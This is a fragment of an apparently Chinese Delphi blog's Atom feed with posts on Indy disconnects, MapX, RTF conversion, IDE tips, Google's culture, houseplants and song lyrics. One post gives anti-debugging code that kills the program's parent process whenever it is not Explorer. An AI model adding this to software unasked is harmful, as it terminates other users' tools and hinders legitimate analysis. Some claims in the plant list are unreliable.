handled.<BR>协商方式－双方都通过信号同意另一方的连接断开，并且双方都会明确的断开连接。大多数会话协议（例如Mail，News等）都是以这种方式断开连接。当客户端准备断开连接时，它将向服务器发出一个请求告诉服务器它将断开连接。服务器会返回一个同意断开连接的确认信号，然后客户端和服务器都将断开连接。在这种情况下，EIdConnClosedGracefully不应该被触发，如果被触发了，那么它就确实是一个错误，您必须处理它。</P>
<P>In some cases of Mutual Disconnect no command will be issued, but both sides know when the other will disconnect. Often a client will connect, issue one command, receive the response from the server and disconnect. While no explicit command was issued by the client, the protocol states that the connection should be disconnected after one command and response. Some of the time protocols are examples of this.<BR>在有的协商方式中，不会发出这样的请求，但是双方都知道对方何时断开连接。一般的，客户端连接、发出一个请求，然后收到从服务器返回的消息。当客户端没有发出明确的请求时，协议规定：当请求和回应后连接必须被断开。一些时间协议就是这样的例子。<BR></P>
<P>With Single Disconnect, one side just disconnects. The other side is left to detect this and then take appropriate action to terminate the session. With protocols that use this disconnection method you will see EIdConnClosedGracefully and it is normal. It is an exception, but Indy knows about it and will handle it for you. The whois protocol is an example of this. The client connects to the server and sends a string containing the domain to query. The server then sends the response and disconnects when the response is finished. No other signal is sent to the client other than a normal disconnection that the response is finished.<BR>单方断开连接方式－一方自主的断开连接。另一方稍后会检测到并且会采取一定的措施来终止这个会话。使用这样连接断开策略的协议将会引发EIdConnClosedGracefully异常，这是正常的。它是一个异常，但是Indy组件将会为您处理它。whois就是一个典型的例子。客户端连接到服务器并且发送一个包含自己域名的字符串到服务器队列中。服务器会回应并且在回应完毕后断开连接。除了回应导致的正常的连接断开外，没有任何信号发送给客户端。<BR></P>
<P>The HTTP allows for both Mutual Agreement and Single Disconnect and this is why it is common to see the EIdConnClosedGracefully with the HTTP server. HTTP 1.0 works similar to the whois protocol in that the server signals the client simply by disconnecting after the request has been served. The client then must use new connections for each request.<BR>HTTP协议允许上述两种方式（协商方式、单方断开连接方式），这就是为什么在HTTP服务器中经常可以见到EIdConnClosedGracefully异常的原因。HTTP 1.0协议和whois都是在请求被处理后由服务端断开连接。客户端必须在每次请求数据时都要建立新的连接。<BR></P>
<P>HTTP 1.1 allows a single connection to request multiple documents. However there is no command to signal a disconnect. At any time, either the client or the server can disconnect after a response. When the client disconnects but the server is still accepting requests, a EIdConnClosedGracefully will be raised. In most cases in HTTP 1.1, the client is the one that disconnects. A server will disconnect when it implements part of HTTP 1.1, but does not support the keep alive option.<BR>HTTP 1.1允许使用一个连接获取多个文件。但是没有断开连接的命令。当客户端已经断开，但是服务端仍然接受请求时，EIdConnClosedGracefully异常就会被触发。对于HTTP 1.1，大部分情况下都是客户端断开连接。如果服务器声明了HTTP 1.1，那么它将会断开连接，但是不支持保持连接的选项。<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=117" /> 
	  <id>http://www.openx.cn/default.asp?id=117</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[检测是否被调试]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-04T15:17:05+08:00</updated>
	  <published>2005-11-04T15:17:05+08:00</published>
		  <summary type="html"><![CDATA[<P>{ 检查自己的进程的父进程是否为Explorer.exe，否则是被调试器加载了 }<BR>{ 不过注意，控制台程序的父进程在WinNT下是Cmd.exe}<BR>{ 注意加载TlHelp32.pas单元 }<BR><BR>procedure CheckParentProc;<BR>var //检查自己的进程的父进程<BR>Pn: TProcesseNtry32;<BR>sHandle: THandle;<BR>H, ExplProc, ParentProc: Hwnd;<BR>Found: Boolean;<BR>Buffer: array[0..1023] of Char;<BR>Path: string;<BR>begin<BR>H := 0;<BR>ExplProc := 0;<BR>ParentProc := 0;<BR>//得到Windows的目录<BR>SetString(Path,<BR>Buffer,<BR>GetWindowsDirectory(Buffer, Sizeof(Buffer) - 1));<BR>Path := UpperCase(Path) + '\EXPLORER.EXE'; //得到Explorer的路径<BR>//得到所有进程的列表快照<BR>sHandle := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0);<BR>Found := Process32First(sHandle, Pn); //查找进程<BR>while Found do //遍历所有进程<BR>begin<BR>if Pn.szExeFile = ParamStr(0) then //自己的进程<BR>begin<BR>ParentProc := Pn.th32ParentProcessID; //得到父进程的进程ID<BR>//父进程的句柄<BR>H := OpenProcess(PROCESS_ALL_ACCESS, True, Pn.th32ParentProcessID);<BR>end<BR>else if UpperCase(Pn.szExeFile) = Path then<BR>ExplProc := Pn.th32ProcessID; //Explorer的PID<BR>Found := Process32Next(sHandle, Pn); //查找下一个<BR>end;<BR>//嗯，父进程不是Explorer，是调试器……<BR>if ParentProc &lt;&gt; ExplProc then<BR>begin<BR>TerminateProcess(H, 0); //杀之！除之而后快耶！ :)<BR>end;<BR>end;</P>
<P>&nbsp;</P>
<P>以上代码可以加在程序中防止自己的程序被调试破解。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=116" /> 
	  <id>http://www.openx.cn/default.asp?id=116</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[从数据库绘制MapX地图]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-04T15:05:12+08:00</updated>
	  <published>2005-11-04T15:05:12+08:00</published>
		  <summary type="html"><![CDATA[主题：MapX Delphi数据库 地图 Layer Style Font<BR><BR>本文将带你从数据库中取数据在MapX上画出来。<BR>1、在数据库中建立如下的表用于存储坐标：<BR>ID integer //唯一编号<BR>Name string //名称(标签)<BR>X float //地图坐标X<BR>Y float //地图坐标Y<BR>假设这个表命名为XUnit<BR>2、编辑MapX地图，添加一个新的Layer，定义好你希望将来添加图层显示样式，然后设置这个图层不可见、不可编辑，此图层名称假设为“企事业单位”。<BR>3、在你的程序中添加MapX控件，命名为Map1<BR>4、在窗口中添加BDE或者ADO组件并连接到你的数据库，假设你添加了AdoConnection1和ADOTable1并且把他们的相关属性都设好了ADOTable1中应该是上述表中的全部内容。<BR>5、添加按钮，并在按钮中添加Click时间代码如下：<BR>procedure TForm1.Button1Click(Sender: TObject);<BR>var<BR>lyr : layer;//层<BR>fts : feature;//特征<BR>pt : point;//点<BR>mstyle : style;//样式<BR>str : string;//特征标注<BR>x,y : double;<BR>begin<BR>lyr := Map1.Layers.CreateLayer('tempAnimate', EmptyParam,1,EmptyParam, EmptyParam);<BR>//在Map1中创建一个Layer<BR>Map1.Layers.AnimationLayer := lyr;//设为当前层<BR><BR>lyr.Editable := true;//可编辑<BR>pt := copoint.Create;<BR>mstyle := costyle.Create;<BR>mstyle := map1.Layers.item('企事业单位').AllFeatures.Item(1).Style;//此处获取在层“企事业单位”中存储的特征样式<BR>lyr.Style := map1.Layers.item('企事业单位').Style;//层的样式<BR>lyr.LabelProperties.Style := map1.Layers.item('企事业单位').LabelProperties.Style;//标签样式<BR>adotable1.First;<BR>while not adotable1.Eof do<BR>begin<BR>X := adotable1.fieldbyname('X').AsFloat ;<BR>y := adotable1.fieldbyname('Y').AsFloat;<BR>str := adotable1.fieldbyname('Name').AsString;<BR>pt.Set_(x,y);<BR>fts := map1.FeatureFactory.CreateSymbol(pt,mstyle);//创建特征<BR>fts.KeyValue := str;//标注<BR>lyr.AddFeature(fts,emptyparam);//将特征添加到层<BR>adotable1.Next;<BR>end;<BR>lyr.AutoLabel := true;//自动标注<BR>lyr.Visible := true;//可见<BR>lyr.ZoomMin := 0;//缩放范围<BR>lyr.ZoomMax := 77;<BR>end;<BR>6、按照以上步骤我们可以直接将数据库中的数据在地图上表现出来]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=115" /> 
	  <id>http://www.openx.cn/default.asp?id=115</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[无意中发现百度也有本地搜索服务了～]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-04T10:33:54+08:00</updated>
	  <published>2005-11-04T10:33:54+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://img.baidu.com/img/logo-map.gif[/img]</P>
<P>地址：<A href="http://map.baidu.com/">http://map.baidu.com/</A></P>
<P>跟Google的本地搜索一样用的也是Mapbar的地图引擎。。。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=114" /> 
	  <id>http://www.openx.cn/default.asp?id=114</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google是如何运做的？]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-03T21:04:50+08:00</updated>
	  <published>2005-11-03T21:04:50+08:00</published>
		  <summary type="html"><![CDATA[<P>　　所有人都知道Google有多酷，但外界并不清楚，它为什么能像永动机一样持续创新。</P>
<P>　　陆陆续续的，一些关于它的奇特管理方式流传到外界：所有新雇员能得到100美元装修自己的小格子；所有员工有20%的私人时间，做自己想做的创新；比如公司里有一张ideas mailing list，所有人都可以提供建议，或者用脚投票……这都只是增加了我们对它的好奇。</P>
<P>　　最近一期Forbes有篇文章，叫Google thinks small，算是Google神话的最新诠释。文章不长，但很精彩，做些summary罢。</P>
<P>　　文章开头就说，Google的CEO Eric Schmidt在2001年进入这公司的时候就发现，这里所有人都厌恶官僚制，喜欢把事儿放桌面上讨论明白：关于一个决策，所有人都会有备而来，在会上舌灿兰花。而当决策做出，没有人会更多废话。</P>
<P>　　而且，这里的官方语言不是“我想……”，而是“数据说明……”。与我们熟知的多数商业大亨不同，Google的决策者们不相信本能，他们不会像George Soros一样在做出错误投资决策时后背疼，也不会像Alan Greenspan对自己的宏观调控策略不自信时胃酸。他们只相信数字：因为Google的产品都可以即时检测用户反应，所以也可以立即决定一条产品线的命运。一个项目有10%的认同，OK；有20%的认同，NB。失败的小组则立即解散，所有人进入其他小组。</P>
<P>　　创意-成果（ideas-and-data），这就是Google的生存法则。</P>
<P>　　这确保了公司的灵活性。Google同时进行着上百个项目，每个项目都只有极少人参与，比如Google旗下的交友网站Orkut只有3名全职员工，页面改版活科学调研则调用不过6个人，即使与Comca&#115;t合作收购AOL这样的大事件，也只有极少人参与。通常一个软件在6周内就能完成测试版。</P>
<P>　　同时它提高了经理层的效率。我们通常所知道的管理常识是，一个有效的管理者应该管7个人，在Google，经理们可以管20人甚至40人，难怪李开复要招50名关门弟子。当然，经理们并不具备太多特权，除了极少人享用个人办公室，连李开复也要与另外两个人共用小格子。</P>
<P>　　每周初，所有Google员工都要写下5行文字，记录下自己上周都做了什么，贴到内部论坛上。在这家公司里，不要轻易说哪个想法太傻，或者太大，相反Google愿意刺激员工思考，比如让大家畅想在太空建一200英里高的电梯。</P>
<P>　　毫无疑问，确保这一切顺利运转的基础是：招聘最聪明的员工。其考题变态，比如：在常数e里找出第一个10位的质数（find the first ten-digit prime number in the mathematical constant called 'e'）。通常一个人要经过8轮面试，那些表现出缺乏团队合作能力的人会剔除。</P>
<P>&nbsp;</P>
<P>　　周末同学聚会，席间聊到GOOGLE，一位供职于世界排名第一的会计师事务所的同学说，他们刚给GOOGLE做完审计和验资，GOOGLE中国OFFICE开张在即，然后作为著名的“加班大师”，他一脸羡慕地对我们说，据说GOOGLE每天都有20%的工作时间是自由支配的，想干吗干吗——“一周只要工作32小时，相当于一年多了52天带薪假期啊！”——他说这话的时候，在场除了几个还在学校里逍遥快活的同学，大家的眼睛都在放光，那表情，就差流口水了。</P>
<P>　　我就问他，你呆在办公室里的时候，不好好干活上网聊天和瞎逛的时间有多少，他想了想，回答道，大约两三个小时吧。我说，GOOGLE每天的自由时间可只有一个半小时呢，他回答，那当然不一样，这一个半小时，可以早上睡懒觉，可以下午早下班。</P>
<P>　　但这对企业来说，不都是一样的吗？</P>
<P>　　——当然，这句话我没说出口——这种私营业主的思路，肯定是要遭海扁的。</P>
<P>　　IDC的报告称，美国每位员工平均每周要在工作时间中消耗5.9小时“垃圾时间”，上网处理私人业务，造成经济损失数以千亿计——那是不是就是说，互联网是办公室的大敌呢？</P>
<P>　　在那之后，我又在MSN上问了不少朋友，得到了一个相当有趣的答案——凡是坐办公室的，上班时间中至少有两三个小时是泡网的“垃圾时间”，甚至于，一天八小时大半都在网上聊天、闲逛、打游戏；而那些因为行业性质不用坐班的，在办公室里的时间倒多半是在认认真真工作；一位上班漫不经心的朋友，每天却要花上三四个小时来经营他的BLOG，办得有声有色——在家比在单位更投入，业余比专职更投入，事实就是如此。</P>
<P>　　我不禁在想，无数人的人生，除了睡眠之外，多半都花在了“工作时间”上，度过大块令人厌烦的“工作时间”，正是为了那一小部分令人快乐的“业余时间”，而最令人尴尬的是，那大块的“工作时间”中，又有相当一部分被挥霍掉了，没产生任何价值——这种人生，实在是糟糕透了。</P>
<P>　　GOOGLE的伟大，我看还不仅在于“INDEX THE WORLD”，甚至在工作制度上，都有聪明绝顶的举措。这20%的“自由时间”，正是将我们人生中的“垃圾时间”划归“有价值的时间”的尝试，是为公司和员工一起摆脱尴尬状态所作的努力，有了这20%的自由，剩下的80%时间也变得不那么令人厌烦，甚至令人愉快，毫无疑问，也更有效率。有了GOOGLE这样的公司，“工作时间”与“业余时间”完全平衡的工作状态这样的乌托邦才不会变得遥不可及。</P>
<P>　　这样看来，工作的敌人，其实不是宽带线路，而是“制度”，是“制度”造就了网络与工作的敌对态势。那些租用黄金地段写字楼的公司老板们在付出大笔租金的时候为什么不想想，“即使你不能让员工工作，至少可以阻止他们找乐子”——这种办公室哲学，是不是应该扔进垃圾桶了？</P>
<P>　　有个段子，也是在“四大会计师事务所”之一中发生的，有一天，老板发现大家都不好好干活，都在用MSN聊天，于是他决定封死MSN，作为安慰性手段，他装模作样地在办公室走廊上贴了个布告栏，上面写着“如果你们有什么需要，请告诉我”，结果第二天就有员工在下面写：“我们需要MSN！”</P>
<P>摘:http://news.csdn.net/news/newstopic/28/28524.shtml</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=113" /> 
	  <id>http://www.openx.cn/default.asp?id=113</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[吸收甲醛的植物]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-02T10:12:21+08:00</updated>
	  <published>2005-11-02T10:12:21+08:00</published>
		  <summary type="html"><![CDATA[名称 作用 <BR>虎尾兰 &nbsp; 是天然的清道夫，可以清除空气中的有害物质。 <BR>芦荟 &nbsp; &nbsp; 可以美容，净化空气，常绿芦荟有一定的吸收异味作用，作用时间较长。 <BR>滴水观音 &nbsp; 有清除空气灰尘的功效。 <BR>米兰 &nbsp; &nbsp; 是天然的清道夫，可以清除空气中的有害物质。淡淡的清香，雅气十足。 <BR>非洲茉莉 &nbsp; 产生的挥发性油类具有显著的杀菌作用。可使人放松、有利于睡眠，还能提高工作效率。 <BR>龟背竹昂 是天然的清道夫，可以清除空气中的有害物质。 <BR>绿萝 &nbsp; &nbsp; 这种生物中的"高效空气净化器"原产为墨西哥高原。由于它能同时净化空气中的苯、三氯乙烯和甲醛，因此非常适合摆放在新装修好的居室中。新铺的地板只是滋生有害物质的源头之一。 <BR>金心吊兰 &nbsp; 可以清除空气中的有害物质，净化空气。 <BR>金琥 &nbsp; &nbsp; 昼夜吸收二氧化碳释放氧气的。且易成活。 <BR>绿叶吊兰 &nbsp; 不择土壤，对光线要求不严。有极强的吸收有毒气体的功能有"绿色净化器"之美称。 <BR>巴西铁 &nbsp; "巴西铁又称香龙血树，可以清除空气中的有害物质。" <BR>散尾葵 &nbsp; 它绿色的棕榈叶对二甲苯和甲醛有十分有效的净化作用。 <BR>桂花 &nbsp; &nbsp; 可以清除空气中的有害物质。产生的挥发性油类具有显著的杀菌作用。 <BR>发财树 &nbsp; 释放氧气，吸收二氧化碳；适生于温暖湿润及通风良好的环境，喜阳也耐阴、管理养护方便。 <BR>巴西龙骨 &nbsp; 昼夜吸收二氧化碳释放氧气的。且易成活。 <BR>常春藤 &nbsp; 能有效抵制尼古丁中的致癌物质。通过叶片上的微小气孔，吸收有害物质，并将之转化为无害的糖份与氨基酸。 <BR>白掌 &nbsp; &nbsp; 抑制人体呼出的废气如氨气和丙酮的"专家"。同时它也可以过滤空气中的苯、三氯乙烯和甲醛。它的高蒸发速度可以防止鼻粘膜干燥，使患病的可能性大大降低。 <BR>银皇后 &nbsp; 以它独特的空气净化能力著称：空气中污染物的浓度越高，它越能发挥其净化能力！因此它非常适合通风条件不佳的阴暗房间。 <BR>铁线蕨 &nbsp; 每小时能吸收大约20微克的甲醛，因此被认为是最有效的生物"净化器"。成天与油漆、涂料打交道者，或者身边有喜好吸烟的人，应该在工作场所放至少一盆蕨类植物。另外，它还可以抑制电脑显示器和打印机中释放的二甲苯和甲苯。 <BR>鸭脚木 &nbsp; 给吸烟家庭带来新鲜的空气。叶片可以从烟雾弥漫的空气中吸收尼古丁和其他有害物质，并通过光合作用将之转换为无害的植物自有的物质。另外，它每小时能把甲醛浓度降低大约9毫克。 <BR>千年木 &nbsp; 叶片与根部能吸收二甲苯、甲苯、三氯乙烯、苯和甲醛，并将其分解为无毒物质。 <BR>黄金葛 &nbsp; 黄金葛可以在其他室内植物无法适应的环境里"工作"。通过类似光合作用的过程，它可以把织物、墙面和烟雾中释放的有毒物质分解为植物自有的物质。 <BR>垂叶榕 &nbsp; 叶片与根部能吸收二甲苯、甲苯、三氯乙烯、苯和甲醛，并将其分解为无毒物质。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=112" /> 
	  <id>http://www.openx.cn/default.asp?id=112</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[周杰伦 十一月的肖邦 部分歌曲试听]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-02T09:09:45+08:00</updated>
	  <published>2005-11-02T09:09:45+08:00</published>
		  <summary type="html"><![CDATA[<P>夜曲</P>
<P>[rm]http://song.cixi.cn/UpLoadFile/2005102169434001.mp3[/rm]</P>
<P>一群嗜血的蚂蚁被腐肉所吸引<BR>我面无表情看孤独的风景<BR>失去你爱恨开始分明<BR>失去你还有什黱事好关心<BR>当鸽子不再象徵和平<BR>我终於被提醒<BR>广场上餵食的是秃鹰<BR>我用漂亮的押韵<BR>形容被掠夺一空的爱情<BR>啊乌云开始遮蔽夜色不乾净<BR>公园里葬礼的回音在漫天飞行<BR>送你的白色玫瑰<BR>在纯黑的环境凋零<BR>乌鸦在树枝上诡异的很安静<BR>静静听我黑色的大衣<BR>想温暖你日渐冰冷的回忆<BR>走过的走过的生命<BR>啊四周弥漫雾气<BR>我在空旷的墓地<BR>老去後还爱你<BR>为你弹奏萧邦的<FONT style="COLOR: #e10900">夜曲</FONT><BR>纪念我死去的爱情<BR>跟夜风一样的声音<BR>心碎的很好听<BR>手在键盘敲很轻<BR>我给的思念很小心<BR>你埋葬的地方叫幽冥<BR>为你弹奏萧邦的<FONT style="COLOR: #e10900">夜曲</FONT><BR>纪念我死去的爱情<BR>而我为你隐姓埋名<BR>在月光下弹琴<BR>对你心跳的感应<BR>还是如此温热亲近<BR>怀念你那鲜红的唇印<BR>那些断翅的蜻蜓散落在这森林<BR>而我的眼睛没有丝毫同情<BR>失去你泪水混浊不清<BR>失去你我连笑容都有阴影<BR>风在长满青苔的屋顶<BR>嘲笑我的伤心<BR>像一口没有水的枯井<BR>我用凄美的字型<BR>描绘後悔莫及的那爱情<BR>为你弹奏萧邦的<FONT style="COLOR: #e10900">夜曲</FONT><BR>纪念我死去的爱情<BR>跟夜风一样的声音<BR>心碎的很好听<BR>手在键盘敲很轻<BR>我给的思念很小心<BR>你埋葬的地方叫幽冥<BR>为你弹奏萧邦的<FONT style="COLOR: #e10900">夜曲</FONT><BR>纪念我死去的爱情<BR>而我为你隐姓埋名在月光下弹琴<BR>对你心跳的感应还是如此温热亲近<BR>怀念你那鲜红的唇印</P>
<P><BR>&nbsp;</P>
<P>黑色毛衣</P>
<P>[rm]http://www.guigao.com/music/11ydxb/黑色毛衣.mp3[/rm]</P>
<P>一件<FONT style="COLOR: #e10900">黑色毛衣</FONT><BR>两个人的回忆<BR>雨过之后更难忘记<BR>忘记我还爱你<BR>你不用在意<BR>流泪也只想刚好合意<BR>我早已经待在谷底<BR>我知道不能再留住你<BR>也知道不能没有孤寂<BR>感激你让我拥有缺点的美丽<BR>看着那白色的蜻蜓<BR>在空中忘了前进<BR>还能不能重新编织<BR>脑海中起毛球的记忆<BR>再说我爱你<BR>可能雨也不会停<BR><FONT style="COLOR: #e10900">黑色毛衣</FONT><BR>藏在那里<BR>就让回忆永远停在那里<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=111" /> 
	  <id>http://www.openx.cn/default.asp?id=111</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[BitmapToRTF]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-01T20:23:32+08:00</updated>
	  <published>2005-11-01T20:23:32+08:00</published>
		  <summary type="html"><![CDATA[<P>function BitmapToRTF(pict: TBitmap): string; <BR>var <BR>&nbsp; bi,bb,rtf: string; <BR>&nbsp; bis,bbs: Cardinal; <BR>&nbsp; achar: ShortString; <BR>&nbsp; hexpict: string; <BR>&nbsp; I: Integer; <BR>begin <BR>&nbsp; GetDIBSizes(pict.Handle,bis,bbs); <BR>&nbsp; SetLength(bi,bis); <BR>&nbsp; SetLength(bb,bbs); <BR>&nbsp; GetDIB(pict.Handle,pict.Palette,PChar(bi)^,PChar(bb)^); <BR>&nbsp; rtf := ''{\rtf1 {\pict\dibitmap ''; <BR>&nbsp; SetLength(hexpict,(Length(bb) + Length(bi)) * 2); <BR>&nbsp; I := 2; <BR>&nbsp; for bis := 1 to Length(bi) do <BR>&nbsp; begin <BR>&nbsp;&nbsp;&nbsp; achar := Format(''%x'',[Integer(bi[bis])]); <BR>&nbsp;&nbsp;&nbsp; if Length(achar) = 1 then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; achar := ''0'' + achar; <BR>&nbsp;&nbsp;&nbsp; hexpict[I-1] := achar[1]; <BR>&nbsp;&nbsp;&nbsp; hexpict[I] := achar[2]; <BR>&nbsp;&nbsp;&nbsp; Inc(I,2); <BR>&nbsp; end; <BR>&nbsp; for bbs := 1 to Length(bb) do <BR>&nbsp; begin <BR>&nbsp;&nbsp;&nbsp; achar := Format(''%x'',[Integer(bb[bbs])]); <BR>&nbsp;&nbsp;&nbsp; if Length(achar) = 1 then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; achar := ''0'' + achar; <BR>&nbsp;&nbsp;&nbsp; hexpict[I-1] := achar[1]; <BR>&nbsp;&nbsp;&nbsp; hexpict[I] := achar[2]; <BR>&nbsp;&nbsp;&nbsp; Inc(I,2); <BR>&nbsp; end; <BR>&nbsp; rtf := rtf + hexpict + '' }}''; <BR>&nbsp; Result := rtf; <BR>end; </P>
<P>&nbsp;&nbsp;&nbsp; 这个函数返回一段可以被导入到RxRichEdit或RichTextBox选择的RTF流。</P>
<P>{假设SS是TStringStream，RE是TRxRichEdit，BMP是一存有图片的TBitmap。} <BR>SS := TStringStream.Create(BitmapToRTF(BMP)); <BR>RE.PlainText := False; <BR>RE.StreamMode := [smSelection]; <BR>RE.Lines.LoadFromStream(SS); <BR>SS.Free;<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=110" /> 
	  <id>http://www.openx.cn/default.asp?id=110</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi学习笔记]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-01T20:03:08+08:00</updated>
	  <published>2005-11-01T20:03:08+08:00</published>
		  <summary type="html"><![CDATA[<P>摘:http://search.csdn.net/Expert/topic/952/952794.xml?temp=.5073358</P>
<P>1，用Application.Teminate终止程序，不会触发OnClose、OnCloseQuery事件。<BR>Terminate()会调用Windows的PostQuitMessage()函数向应用程序的消息队列中发一个消息。VCL据此释放应用程序创建的所有对象。但并不是一调用Terminate()就马上使应用程序终止，而是当应用程序检索到WM_QUIT消息时才会真正终止。而Halt()立即终止应用程序的执行，但不释放先前创建的对象，也不会返回到调用Halt()的地方。</P>
<P><BR>2，窗体的AlphaBlend，AlphaBlendValue属性,SetLayeredWindowAttributes函数只在WIN2000环境下有效。</P>
<P>3，在菜单中选择Project-Options-Packages选中‘Build with runtime pakages’编译时减少可执行文件大小（执行程序时运行环境必须有这些Packages存在）</P>
<P>4，超链接：uses ShellAPI;<BR>ShellExcute(Handle,'open','http://www.37.com',nil,nil,sw_show);<BR>ShellExcute(Handle,'open','mailto <a href="http://www.openx.cn/mailto:ilang@email.com',nil,nil,sw_show">ilang@email.com',nil,nil,sw_show</A>);</P>
<P>-----------------------------------------------------------------------<BR>5，快捷键</P>
<P>在代码编辑器中按Ctrl+E可以 激活Increment Search。这样就避免了从菜单中选择Search-&gt;Find，再输入文本的繁琐步骤。</P>
<P>选中一或者几行文本，然后按Ctrl+Shift+I，可以增加这几行的缩进量；Ctrl+Shift+U减少缩进。缩进的距离取决于Editor Options里面的Auto Indent设置。</P>
<P>选中一些文本，按Ctrl+O+U（保持Ctrl按下，先按O，再按U），将改变选中文本的大小写。Ctrl+K+E将选中文本全部变成小写；Ctrl+K+F变成全部大写。</P>
<P>在Form Designer中工作的时候，选中某个构件，按下Ctrl和方向键拖动它将能够微调它的位置，而不用对齐到网格（Snap to Grid只对鼠标操作有效。）</P>
<P>-----------------------------------------------------------------------<BR>6，几个预定义的编译符号<BR>Delphi 版本</P>
<P>{$IFDEF VER140}<BR>&nbsp; ShowMessage('Is Delphi 6!')<BR>{$ENDIF}</P>
<P>{$IFDEF VER130}<BR>&nbsp; ShowMessage('Is Delphi 5!')<BR>{$ENDIF}</P>
<P>操作系统<BR>{$IFDEF MSWINDOWS}<BR>&nbsp; ShowMessage('Is MSWINDOWS!')<BR>{$ENDIF}</P>
<P>{$IFDEF LINUX}<BR>&nbsp; ShowMessage('Is Delphi LINUX!')<BR>{$ENDIF}</P>
<P>{$IFDEF WIN32}<BR>&nbsp; ShowMessage('Is WIN32!')<BR>{$ENDIF}<BR></P>
<P>1,（1)设置没有标题栏但可以改变大小的窗体<BR>{procedure CreateParams(var Params: TCreateParams); override;<BR>inherited CreateParams(Params);<BR>Params.Style := WS_THICKFRMAE or WS_POPUP or WS_BORDER;}<BR>(2)设置没有标题栏但可以拖动的窗体<BR>{procedure WMNCHitTest(var Message: TWMNCHitTest);<BR>&nbsp; message WM_NCHitTest;<BR>inherited;<BR>if Message.Result = htClient then<BR>Message.Result := htCaption;}</P>
<P>2,TApplication.ExeName 属性：返回应用程序的全路径和文件名；<BR>ExtractFileName(Application.ExeName) 返回文件名<BR>ExtractFilePath(Application.ExeName) 返回全路径<BR>ExtractFileExt(Application.ExeName)&nbsp; 返回文件扩展名</P>
<P>3，(1)对于没有Owner的组件，ComponentIndex属性总等于-1；<BR>(2)TApplication.HandleException用于显示项目中出现异常的有关信息；<BR>(3)TApplication.ProcessMessages用于程序执行一个长的过程又不中断其他<BR>代码的执行（例如安装程序时响应放弃按钮），与HandleMessages的区别是<BR>如果没有发现消息，ProcessMessages方法不会把应用程序置于空闲状态；<BR>单单一个在一个处理过程中增加Application.ProcessMessages，则程序在响应<BR>其他过程后会返回来处理这个过程，且处理完这个过程之前无法退出程序，要在程序<BR>转向其他过程的时候终止当前过程，可在Application.ProcessMessages后加上<BR>一个布尔变量判断如 if InterruptProcess then Exit;然后在其他需要响应的过程中设置InterruptProcess := true;（或者设置一个整型变量给予需要这样处理的过程一个过程标识，这样:if ProcessID &lt;&gt; CurID(本过程标识) then Exit ）<BR>(4)TApplication.Minimize用于把应用程序的主窗体最小化；TApplication.<BR>Restore 用于把主窗体恢复成最小化或最大化前的大小。<BR>(5)当应用程序置于空闲状态时将触发OnIdle事件。<BR>(6)Applicatiion.Title属性决定程序最小化时的标题。</P>
<P>4,√√√√√√√√Delphi5开发人员指南（第四章）√√√√√√√推荐阅读</P>
<P>5，LoadBitmap() 不能返回调色板（无法调入256位图），用TBitmap.LoadFromResourceName 或TBitmap.LoadFromResourceID</P>
<P>6,从资源文件中调入资源，资源的标识符必须全部大写。</P>
<P>7，调入自定义光标<BR>Const cr := 1;（必须为正数或-20以内的负数）</P>
<P>{$R cr.res}</P>
<P>Screen.Cursors[cr] := LoadCursor(hInstance,'CR');<BR>Screen.Cursor := cr;</P>
